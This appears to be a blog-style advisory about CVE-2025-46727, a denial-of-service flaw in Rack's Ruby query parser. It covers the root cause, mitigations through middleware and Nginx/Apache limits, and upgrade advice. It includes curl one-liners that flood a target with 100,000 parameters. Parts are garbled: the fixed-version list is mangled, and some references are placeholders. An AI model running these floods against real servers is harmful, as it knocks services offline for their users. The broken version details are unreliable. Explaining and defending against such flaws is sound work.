A new, critical vulnerability has been discovered in the Rack Ruby web server interface, identified as CVE-2025-46727. This vulnerability can cause denial-of-service (DoS) on any application using vulnerable Rack versions by sending huge numbers of query parameters—sometimes called a “parameter bomb.” This post dives into the root cause, exploitation, and practical mitigations—all in clear, easy-to-understand terms.

What is Rack and Why Does it Matter?

Rack is the standard interface between web servers and most Ruby web frameworks, including Rails and Sinatra. If you’re running a Ruby web app, chances are almost certain you’re using Rack, even if you never touch it directly.

What is the Problem?

When a request comes in, Rack uses its Rack::QueryParser to process query strings and HTTP POST bodies (application/x-www-form-urlencoded). But before the fix, Rack did not check how many parameters were present in the query string or body. Here’s the (simplified) problem:

Server tries to put every one of those in a hash during parsing, chewing up CPU and memory.

Result? The server can run out of memory or become unresponsive—effectively taking down the application.

Here’s a simplified version of the problematic code in older Rack versions

# Prior to the fix (simplified)
params = {}
query_string.split('&').each do |pair|
  key, value = pair.split('=')
  params[key] = value
end

If the incoming string is very large, say

foo1=bar1&foo2=bar2&foo3=bar3&...&foo100000=bar100000

The loop just keeps on going, eating up resources.

How Can Attackers Exploit This?

Here’s what a simple attack might look like, using curl to send a GET request with thousands of parameters:

curl "http://target.com/?$(python3 -c 'print("&".join([f"foo{i}=bar{i}" for i in range(100000)]))')"

Or, for a POST request

curl -X POST "http://target.com/"; \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data "$(python3 -c 'print("&".join([f"foo{i}=bar{i}" for i in range(100000)]))')"

These requests will make the Rack server struggle, possibly to the point of crashing—especially on lower-resource servers or single-threaded setups.

Real-World Impact

- Total service disruption: One big attack can tie up all available workers or eat all available memory. No real users can reach your app.
- Crash or memory exhaustion: The web process may be killed (by the OS) or become permanently stuck.
- Simple to execute: No login or authentication needed. Any endpoint accepting a query string or POST body is vulnerable.

3.1.14

These versions enforce parameter limits, preventing excessive parsing. You can see the fix in this commit (example for reference).

If you are using Rack: Upgrade to one of these versions or later—ASAP!

- Official Rack release notes
- Ruby advisory database entry (if available)

You can write or install Rack middleware that sets an upper limit on parameter count

class ParameterLimiter
  MAX_PARAMS = 100

  def initialize(app)
    @app = app
  end

  def call(env)
    req = Rack::Request.new(env)
    if req.params.size > MAX_PARAMS
      return [400, { 'Content-Type' => 'text/plain' }, ['Too many parameters']]
    end
    @app.call(env)
  end
end

# In config.ru
use ParameterLimiter

### 2. Limit at the Web Server/Proxy Level

Most web servers and reverse proxies let you limit query strings and bodies. For example, with Nginx:

# Limits total size of a query string
http {
    client_max_body_size 1m;
    large_client_header_buffers 4 8k;
}
server {
    # Optionally, [later versions] use: 
    # limit_req_zone $binary_remote_addr zone=req_limit_per_ip:10m rate=1r/s;
    # limit_req zone=req_limit_per_ip burst=5 nodelay;
}

Or with Apache

LimitRequestLine 4096
LimitRequestBody 1048576

These directives prevent excessively large or numerous parameters from even reaching Rack at all.

3. Use a CDN or WAF

Cloudflare, Fastly, and other CDN/WAF providers let you block or rate-limit attacks at the edge, far from your origin application.

Who’s affected: All users of Rack before 2.2.14, 3..16, or 3.1.14

- How to fix: Upgrade, or mitigate with server/proxy/middleware limits.

References

- Official Rack Advisory for CVE-2025-46727 *(placeholder, fill with actual link when available)*
- Rack Release Notes
- Rubysec Advisory Database
- Nginx security docs

Conclusion

CVE-2025-46727 is a textbook example of how “just parsing input” can become a major security headache. Don’t leave your Ruby apps vulnerable—upgrade Rack right away, review your proxy and server configs, and keep an eye out for similar parameter-based resource-exhaustion vulnerabilities in other platforms!

Timeline

Published on: 05/07/2025 23:15:54 UTC
Last modified on: 05/08/2025 14:39:09 UTC